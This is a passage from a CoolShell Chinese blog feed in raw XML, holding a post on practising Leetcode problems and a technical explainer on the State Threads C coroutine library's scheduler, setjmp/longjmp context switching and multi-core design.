/>关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/sed-superman-150x150.png\" alt=\"sed 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9104.html\" class=\"wp_rp_title\">sed 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12103.html\">vfork 挂掉的一个问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12103.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>46</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Leetcode 编程训练</title>\n\t\t<link>https://coolshell.cn/articles/12052.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12052.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 23 Oct 2014 02:51:54 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Leetcode]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Programming]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[算法]]></category>\n\t\t<category><![CDATA[面试]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12052</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Leetcode这个网站上的题都是一些经典的公司用来面试应聘者的面试题，很多人通过刷这些题来应聘一些喜欢面试算法的公司，比如：Google、微软、Faceboo...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12052.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-12054 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2014/10/LeetCodeLogo-1.png\" alt=\"LeetCodeLogo (1)\" width=\"121\" height=\"100\" />Leetcode这个网站上的题都是一些经典的公司用来面试应聘者的面试题，很多人通过刷这些题来应聘一些喜欢面试算法的公司，比如：Google、微软、Facebook、Amazon之类的这些公司，基本上是应试教育的功利主义。</p>\n<p>我做这些题目的不是为了要去应聘这些公司，而是为了锻炼一下自己的算法和编程能力。因为我开始工作的时候基本没有这样的训练算法和编程的网站，除了大学里的“算法和数据结构”里的好些最基础最基础的知识，基本上没有什么训练。所以，当我看到有人在做这些题的时候，我也蠢蠢欲动地想去刷一下。</p>\n<p>于是，我花了3-4个月的业余时间，我把<a href=\"https://oj.leetcode.com/problems/\" target=\"_blank\">Leetcode的154道题</a>全部做完了。（这也是最近我没有太多的时间来写博客的原因，你可以看到我之前<a title=\"谜题的答案和活动的心得体会\" href=\"https://coolshell.cn/articles/11847.html\" target=\"_blank\">做的那个活动</a>中有几个算法题来自于Leetcode）有人说我时间太多了，这里声明一下，我基本上都是利用了晚上10点以后的时间来做这些题的。</p>\n<p>LeetCode的题大致分成两类：</p>\n<p style=\"padding-left: 30px;\"><strong>1）基础算法的知识</strong>。这些题里面有大量的算法题，解这些题都是有套路的，不是用递归（深度优先DFS，广度优先BFS），就是要用动态规划（Dynamic Programming），或是拆半查找（Binary Search），或是回溯（Back tracing），或是分治法（Divide and Conquer），还有大量的对树，数组、链表、字符串和hash表的操作。<strong>通过做这些题能让你对这些最基础的算法的思路有非常扎实的了解和训练</strong>。对我而言，Dynamic Programming 是我的短板，尤其是一些比较复杂的问题，在推导递推公式上总是有思维的缺陷（数学是我的硬伤），通过做了这些题后，我能感到我在DP的思路上有了很大的收获。</p>\n<p style=\"padding-left: 30px;\"><strong>2）编程题</strong>。比如：atoi，strstr，add two num，括号匹配，字符串乘法，通配符匹配，文件路径简化，Text Justification，反转单词等等，这些题的Edge Case, Corner Case有很多。这些题需要你想清楚了再干，只要你稍有疏忽，就会有几个case让你痛不欲生，而且一不小心就会让你的代码会写得又臭又长，无法阅读。<strong>通过做这些题，可以非常好的训练你对各种情况的考虑，以及你对程序代码组织的掌控（其实就是其中的状态变量）。</strong>还记得我在《<a title=\"函数式编程\" href=\"https://coolshell.cn/articles/10822.html\" target=\"_blank\">函数式编程</a>》中说的，程序中的状态是你程序变得复杂难维护的直接原因。</p>\n<p>我觉得每个程序员都应该花时间和精力做这些题，因为你会从这些题中得到很大的收益。做完这些题后你一定会明白下面几个道理：</p>\n<p><span id=\"more-12052\"></span></p>\n<p style=\"padding-left: 30px;\"><strong>1）想清楚了再干</strong>。这个观点我以前就在《<a title=\"多些时间能少写些代码\" href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\">多些时间可以少些代码</a>》说过。如果你拿到题就上去直接写代码的话，你一定会被各种case打回来了。然后呢，你一着急，你就会进入那种我在《<a title=\"开发团队的效率\" href=\"https://coolshell.cn/articles/11656.html\" target=\"_blank\">开发团队的效率</a>》中说的那种毫无效率case by case的开发模式，而你也进入了“平庸模式”。于是你就会出现下图那样的情况。</p>\n<figure id=\"attachment_12053\" aria-describedby=\"caption-attachment-12053\" style=\"width: 440px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-12053\" src=\"https://coolshell.cn/wp-content/uploads/2014/10/bug_fixing.gif\" alt=\"Case-by-Case Developement\" width=\"440\" height=\"231\" /><figcaption id=\"caption-attachment-12053\" class=\"wp-caption-text\">Case-by-Case Development</figcaption></figure>\n<p style=\"padding-left: 30px;\"><strong>2) 编程是脑力劳动，急不得</strong>。这个事情在这做这些题的时候你就会发现，要么是脑子转不过来了，要么就是明明就差一点了，但程序怎么都调不对。如果你越着急的话，你就会发现你会离目标越远，而花的时间也会更多。另外，你会发现这些题基本上都是50行代码内就可以搞定的，但是为了这50行以内的代码，你要花好多时间和精力。coding  50行代码在我们的日常工作中分分钟就完成，而Leetcode里的50行代码却没那么简单，也许，用这个你就可以区别什么是码农，什么是程序员了。</p>\n<p style=\"padding-left: 30px;\"><strong>3）加班要不得。</strong>因为我总是在晚上10点以后做题，所以，基本上都是在加班状态中工作。这种状态过上两三天，你就会发现，整个大脑已经不转了，而且不但不转，还会犯很多低级错误，很多事情都想不清楚，一个晚上都在和程序的状态控制做搏斗，代码写得越来越乱，越来越没条理。于是这种时候，我都会休息几天，不做题了，然后再做题的时候，就觉得非常地清楚。可见加班 是编程最致命的敌人！</p>\n<p>我把我的C++代码放到了Github上，大家也帮我review一下，看看有没有可以改善的。</p>\n<p style=\"text-align: center;\"><strong><a href=\"https://github.com/haoel/leetcode\" target=\"_blank\">https://github.com/haoel/leetcode</a></strong></p>\n<p>好了，不多说了，<strong>我希望大家有时间都去练练LeetCode，无论是找工作还是对你的编程能力会有非常大的提高</strong>。</p>\n<p>&nbsp;</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/250px-Sheldon_Cooper-150x150.jpg\" alt=\"为什么我反对纯算法面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8138.html\" class=\"wp_rp_title\">为什么我反对纯算法面试题</a></li><li ><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/07/1920px-Margaret_Hamilton_-_restoration-e1563697198766-1-150x150.jpg\" alt=\"50年前的登月程序和程序员有多硬核\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19612.html\" class=\"wp_rp_title\">50年前的登月程序和程序员有多硬核</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/weibo-150x150.jpg\" alt=\"“C++的数组不支持多态”？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9543.html\" class=\"wp_rp_title\">“C++的数组不支持多态”？</a></li><li ><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/12/choice-150x150.jpg\" alt=\"程序算法与人生选择\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8790.html\" class=\"wp_rp_title\">程序算法与人生选择</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/12052.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>96</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>State Threads 回调终结者</title>\n\t\t<link>https://coolshell.cn/articles/12012.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/12012.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Sun, 12 Oct 2014 14:48:57 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[coroutine]]></category>\n\t\t<category><![CDATA[EDSM]]></category>\n\t\t<category><![CDATA[IA]]></category>\n\t\t<category><![CDATA[process]]></category>\n\t\t<category><![CDATA[thread]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<category><![CDATA[协程]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=12012</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>（感谢网友 @我的上铺叫路遥 投稿） 上回写了篇《一个“蝇量级”C语言协程库》，推荐了一下Protothreads，通过coroutine模拟了用户级别的mul...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/12012.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>（感谢网友 </strong><a href=\"http://weibo.com/fullofbull\" target=\"_blank\"><strong>@我的上铺叫路遥</strong></a><strong> 投稿）</strong></p>\n<p>上回写了篇<a title=\"一个“蝇量级” C 语言协程库\" href=\"https://coolshell.cn/articles/10975.html\" target=\"_blank\">《一个“蝇量级”C语言协程库》</a>，推荐了一下<a title=\"Protothreads\" href=\"http://dunkels.com/adam/pt/\" target=\"_blank\">Protothreads</a>，通过coroutine模拟了用户级别的multi-threading模型，虽然本身足够“轻”，杜绝了系统开销，但这个库本身应用场合主要是内存限制的嵌入式领域，提供原生态组件太少，使用限制太多，比如依赖其它调用产生阻塞等。</p>\n<p>这回又替大家在开源界淘了个宝，推荐一个轻量级网络应用框架<strong>State Threads</strong>（以下简称ST），总共也就3000行C代码，跟Protothreads不同在于ST针对的就是<strong>高性能可扩展服务器</strong>领域（值得一提的是Protothreads官网<a title=\"参考链接\" href=\"http://dunkels.com/adam/pt/links.html\" target=\"_blank\">参考链接</a>上第一条就是ST的官网）。在其<a title=\"FAQ\" href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\">FAQ</a>页面上一句引用&#8221;Perfection is achieved not when there is nothing more to add, but rather when there is nothing more to take away.&#8221;可以视为开发人员对ST源码质量的自信。</p>\n<h4>历史渊源</h4>\n<p>首先介绍一下这个库的历史渊源，从代码贡献者来看，ST不是个人作品，而是有着雄厚的商业支持和应用背景，比如服务器领域，在<a href=\"http://state-threads.sourceforge.net/news.html\" target=\"_blank\">这里</a>你可以看到ST曾作为Apache的多核应用模块发布。其诞生最初是由网景（Netscape）公司的MSPR（Netscape Portable Runtime library）项目中剥离出来，后由SGI（Silicon Graphic Inc）还有Yahoo!公司（前者是主力）开发维护的独立线程库。历史版本方面，作为<a title=\"SourceForge\" href=\"http://sourceforge.net/projects/state-threads/files/\" target=\"_blank\">SourceForge</a>上开源项目，由2001年发布v1.0以来一直到2009年v1.9稳定版后未再变动。在平台移植方面，从Makefile的配置选项中可知ST支持多种Unix-like平台，还有专门针对Win32的源码改写。源码例子中，提供了web server、proxy以及dns三种编程实例供参考。可以说代码质量应该是相当的稳定和可靠的。</p>\n<p><span id=\"more-12012\"></span></p>\n<p>至于许可证方面，有必要略作说明。出于历史原因，网景最初发布时选择了MPL1.1许可证，而后SGI在维护中又混进了GPLv2许可证，照理说这两种许可证是互不兼容的（MPL1.1后续版本是GPL兼容的），也就是说用双许可证打包发布理论上是非法无效的，见GNU官网上<a title=\"GPL兼容\" href=\"http://www.gnu.org/licenses/license-list.html#MPL\" target=\"_blank\">MPL兼容性</a>一节。但这里有值得商榷的地方，因为文中又提及，根据MPL1.1中某条款第13节，如果整段或部分代码允许采用另一许可证作为备用（alternate）选择，比如GPL及其兼容，那么整个库的许可证就可视为GPL兼容的。如此一来所谓GPL兼容性一般解释为你不能在GPLv2的代码中混入MPL1.1，而不是说你不能在MPL1.1代码中混入GPLv2，也就是说GPLv2在MPL1.1之后是可以接受的，事实上SGI就采用了后面的做法，尚未引起版权上的纠纷。为此我还考证了一下FAQ上<a title=\"license\" href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\">license</a>一节的说法，说ST既可以在MPL和GPL之间选择一种，也可以继续用双许可证，还补了一句在non-free项目使用上也没有限制，但对ST源码所做改动必须对用户可见。在源码文件中的SGI的附加声明还解释了将ST转为GPL代码的做法，就是可以删除前面MPL的声明，否则后续用户仍可以在两者之间二选一。个人觉得既然SGI都这样发话了，那么可解释为反之删除GPL的声明继续采用MPL也是可以接受的，如果你对双许可证承诺仍不放心的话。</p>\n<h4>基于事件驱动状态机（EDSM）</h4>\n<p>好了，下面该进入技术性话题了。前面说了ST的目标是<strong>高性能可扩展</strong>，其技术特征一言以蔽之就是</p>\n<blockquote><p><strong>&#8220;It combines the simplicity of the multi-threaded programming paradigm, in which one thread supports each simultaneous connection, with the performance and scalability of an event-driven state machine (EDSM) architecture.&#8221;</strong></p></blockquote>\n<p>我们先来纵向比较ST与传统的EDSM区别，再来横向比较与其它线程库（比如Pthread）的区别（注：以下图片全部来自<a title=\"ST FAQ\" href=\"http://state-threads.sourceforge.net/docs/faq.html\" target=\"_blank\">State Threads Library FAQ</a>）。</p>\n<p>传统EDSM最常见的方式就是I/O事件的<strong>异步回调</strong>。基本上都会有一个叫做dispatcher的单线程主循环（又叫event loop），用户通过向dispatcher注册回调函数（又叫event handler）来实现异步通知，从而不必在原地空耗资源干等，在dispatcher主循环中通过select()/poll()系统调用来等待各种I/O事件的发生，当内核检测到事件触发并且数据可达或可用时，select()/poll()会返回从而使dispatcher调用相应的回调函数来对处理用户的请求。所以异步回调与其说是通知，不如说用委托更恰当。</p>\n<p>整个过程都是单线程的。<strong>这种处理本质上就是将一堆互不相交（disjoint）的回调实现同步控制，就像串联在一个顺序链表上。</strong>见图1，黑色的双箭头表示I/O事件复用，回调是个筐，里面装着对各种请求的处理（当然不是每个请求都有回调，一个请求也可以对应不同的回调），每个回调被串联起来由dispatcher激活。这里请求等价于thread的概念（不是操作系统的线程），只不过“上下文切换”（context switch）发生在每个回调结束之时（假设不同请求对应不同回调），注册下一个回调以待事件触发时恢复其它请求的处理。至于dispatcher的执行状态（execute state）可作为回调函数的参数保存和传递。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2014/10/edsm.gif\" alt=\"EDSM\" /></p>\n<p>异步回调的缺陷在于<strong>难以实现和扩展</strong>，虽然已经有libevent这样的通用库，以及其它actor/reacotor的设计模式及其框架，但正如Dean Gaudet（Apache开发者）所说：“其内在的复杂性——<strong>将线性思维分解成一堆回调的负担</strong>（breaking up linear thought into a bucketload of callbacks）——仍然存在”。从上图可见，<strong>回调之间请求例程不是连续的，比如回调之间的切换会打断部分请求，又比如有新的请求需要重新注册。</strong></p>\n<p><strong>ST本质上仍然是基于EDSM模型，但旨在取代传统的异步回调方式。</strong>ST将请求抽象为thread概念以更接近自然编程模式（所谓的linear thought吧，就像操作系统的线程之间切换那样自然）。ST的调度器（scheduler）对于用户来说是透明的，不像dispatcher那种将执行状态（execute state）暴露给回调方式。每个thread的现场环境可以保存在栈上（一段连续的大小确定的内存空间），由C的运行环境管理。从图2看到，<strong>ST的threads可以并发地线性地处理I/O事件，模型比异步回调简单得多。</strong></p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2014/10/st_edsm.gif\" alt=\"State Threads\" /></p>\n<p>这里稍微解释一下ST调度工作原理，ST运行环境维护了四种队列，分别是IOQ、RUNQ、SLEEPQ以及ZOMBIEQ，<strong>当每个thread处于不同队列中对应不同的状态（ST顾名思义所谓thread状态机）。</strong>比如polling请求的时候，当前thread就加入IOQ表示等待事件（如果有timeout同时会被放到SLEEPQ中），当事件触发时，thread就从IOQ（如果有timeout同时会从SLEEPQ）移除并转移到RUNQ等待被调度，成为当前的running thread，相当于操作系统的就绪队列，跟传统EDSM对应起来就是注册回调以及激活回调。再比如模拟同步控制wait/sleep/lock的时候，当前thread会被放入SLEEPQ，直到被唤醒或者超时再次进入RUNQ以待调度。</p>\n<p><strong>ST的调度具备性能与内存双重优点</strong>：在性能上，ST实现自己的setjmp/longjmp来模拟调度，无任何系统开销，并且context（就是jmp_buf）针对不同平台和架构用底层语言实现的，可移植性媲美libc。下面放一段代码解释一下调度实现：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/*\n * Switch away from the current thread context by saving its state \n * and calling the thread scheduler\n */\n#define _ST_SWITCH_CONTEXT(_thread)       \\\n    ST_BEGIN_MACRO                        \\\n    if (!MD_SETJMP((_thread)-&gt;context)) { \\\n      _st_vp_schedule();                  \\\n    }                                     \\\n    ST_END_MACRO\n\n/*\n * Restore a thread context that was saved by _ST_SWITCH_CONTEXT \n * or initialized by _ST_INIT_CONTEXT\n */\n#define _ST_RESTORE_CONTEXT(_thread)   \\\n    ST_BEGIN_MACRO                     \\\n    _ST_SET_CURRENT_THREAD(_thread);   \\\n    MD_LONGJMP((_thread)-&gt;context, 1); \\\n    ST_END_MACRO\n\nvoid _st_vp_schedule(void)\n{\n    _st_thread_t *thread;\n\n    if (_ST_RUNQ.next != &amp;_ST_RUNQ) {\n        /* Pull thread off of the run queue */\n        thread = _ST_THREAD_PTR(_ST_RUNQ.next);\n        _ST_DEL_RUNQ(thread);\n    } else {\n        /* If there are no threads to run, switch to the idle thread */\n        thread = _st_this_vp.idle_thread;\n    }\n    ST_ASSERT(thread-&gt;state == _ST_ST_RUNNABLE);\n\n    /* Resume the thread */\n    thread-&gt;state = _ST_ST_RUNNING;\n    _ST_RESTORE_CONTEXT(thread);\n}\n</pre>\n<p>如果你熟悉setjmp/longjmp的用法，你就知道当前thread在调用MD_SETJMP将现场上下文保存在jmp_buf中并返回返回0，然后自己调用_st_vp_schedule()将自己调度出去。调度器先从RUNQ上找，如果队列为空就找idle thread，这是在整个ST初始化时创建的一个特殊thread，然后将当前线程设为自己，再调用MD_LONGJMP切换到其上次调用MD_SETJMP的地方，从thread-&gt;context恢复现场并返回1，该thread就接着往下执行了。<strong>整个过程就同EDSM一样发生在操作系统单线程下，所以没有任何系统开销与阻塞。</strong></p>\n<p><strong>其实真正的阻塞是发生在等待I/O事件复用上，也就是select()/poll()，这是整个ST唯一的系统调用。</strong>ST当前的状态是，整个环境处于空闲状态，所有threads的请求处理都已经完成，也就是RUNQ为空。这时在_st_idle_thread_start维护了一个主循环（类似于event loop），主要负责三种任务：1.对IOQ所有thread进行I/O复用检测；2.对SLEEPQ进行超时检查；3.将idle thread调度出去，代码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nvoid *_st_idle_thread_start(void *arg)\n{\n    _st_thread_t *me = _ST_CURRENT_THREAD();\n\n    while (_st_active_count &gt; 0) {\n        /* Idle vp till I/O is ready or the smallest timeout expired */\n        _ST_VP_IDLE();\n\n        /* Check sleep queue for expired threads */\n        _st_vp_check_clock();\n\n        me-&gt;state = _ST_ST_RUNNABLE;\n        _ST_SWITCH_CONTEXT(me);\n    }\n\n    /* No more threads */\n    exit(0);\n\n    /* NOTREACHED */\n    return NULL;\n}</pre>\n<p>这里的me就是idle thread，因为_st_idle_thread_start就是创建idle thread的启动点，每从上次_ST_SWITCH_CONTEXT()切换回来的时候，接着在_ST_VP_IDLE()里轮询I/O事件的发生，一旦检测到发生了别的thread事件或者SLEEPQ里面发生超时，再用_ST_SWITCH_CONTEXT()把自己切换出去，如果此时RUNQ中非空的话就切换到队列第一个thread。这里主循环是不会退出的。</p>\n<p>在内存方面，<strong>ST的执行状态作为局部变量保存在栈上，而不是像回调需要动态分配，</strong>用户可能分别这样使用thread模式和callback模式：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">/* thread land */\nint foo()\n{\n    int local1;\n    int local2;\n    do_some_io();\n}\n\n/* callback land */\nstruct foo_data {\n    int local1;\n    int local2;\n};\n\nvoid foo_cb(void *arg)\n{\n    struct foo_data *locals = arg;\n    ...\n}\n\nvoid foo()\n{\n    struct foo_data *locals = malloc(sizeof(struct foo_data));\n    register(foo_cb, locals);\n}\n</pre>\n<h4>基于Mult-Threading范式</h4>\n<p>同样基于multi-threading编程范式，ST同其它线程库又有和有点呢？比如Posix Thread（以下简称PThread）是个通用的线程库，它是<strong>将用户级线程（thread）同内核执行对象（kernel execution entity，有些书又叫lightweight processes）做了1:1或m:n映射，</strong>从而实现multi-threading模式。<strong>而ST是单线程（n:1映射），它的thread实际上就是协程（coroutine）。</strong>通常的网络应用上，多线程范式绕不开操作系统，但在某些特定的服务器领域，线程间的共享资源会带来额外复杂度，锁、竞态、并发、文件句柄、全局变量、管道、信号等，面对这些Pthread的灵活性会大打折扣。<strong>而ST的调度是精确的，它只会在明确的I/O和同步函数调用点上发生上下文切换，这正是协程的特性，如此一来ST就不需要互斥保护了，进而也可以放心使用任何静态变量和不可重入库函数了</strong>（这在同样作为协程的Protothreads里是不允许的，因为那是stack-less的，无法保存上下文），极大的简化了编程和调试同时增加了性能。</p>\n<p>对于同样用户级线程如GNU Pth和MIT Phread比起来呢？有两点，一是ST的thread是<strong>无优先级的非抢占式调度</strong>，也就是说ST基于EDSM的，每个thread都是事件或数据驱动，迟早会把自己调度出去，而且调度点是明确的，并非按时间片来的，从而简化了thread管理；二是ST会<strong>忽略所有信号处理</strong>，在_st_io_init中会把sigact.sa_handler设为SIG_IGN，这样做是因为将thread资源最小化，避免了signal mask及其系统调用（在ucontext上是避免不了的）。但这并不意味着ST就不能处理信号，实际上ST建议将信号写入pipe的方式转化为普通I/O事件处理，示例详见<a title=\"signal handling\" href=\"http://state-threads.sourceforge.net/docs/notes.html#signals\" target=\"_blank\">这里</a>。</p>\n<p>这里顺便说一句，<strong>C语言实现的协程据我所知只有三种方式</strong>：Protothread为代表利用switch-case语义跳转，以ST为代表不依赖libc的setjmp/longjmp上下文切换，以及依赖glibc的ucontext接口（<a title=\"云风的coroutine\" href=\"https://github.com/cloudwu/coroutine\" target=\"_blank\">云风的coroutine</a>）。第一种最轻，但受限最大，第三种耗资源性能慢（陈皓注：glibc的ucontext接口的实现中有一个和信号有关的系统调用，所以会慢，估计在一些情况下会比pthread还慢），目前看来ST是最好使的。</p>\n<h4>基于多核环境</h4>\n<p>下面来聊聊ST在多核环境下的应用。服务器领域多核的优势在于实现了物理上真正的并发，所以如何充分利用系统优势也是线程库的一大难点。这对ST来说也许正是它的拿手好戏，前面提及ST曾作为Apache的多核引擎模块发布。这里要补充一下前面漏掉的ST的一个重要概念——<strong>虚拟处理器</strong>（virtual processor，简称vp），见图3，多个cpu通过内核的SMP模拟出多个“核”（core），一个core对应一个内核任务（kernel task），同时对应一个用户进程（process），一个process对应ST的一个vp，每个vp下就是ST的thread（是协程不是线程），结合前面所述，vp初始化先创建idle thread，然后根据I/O事件驱动其它threads，这就是ST的多核架构。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" src=\"https://coolshell.cn/wp-content/uploads/2014/10/st_app.gif\" alt=\"multi-core\" 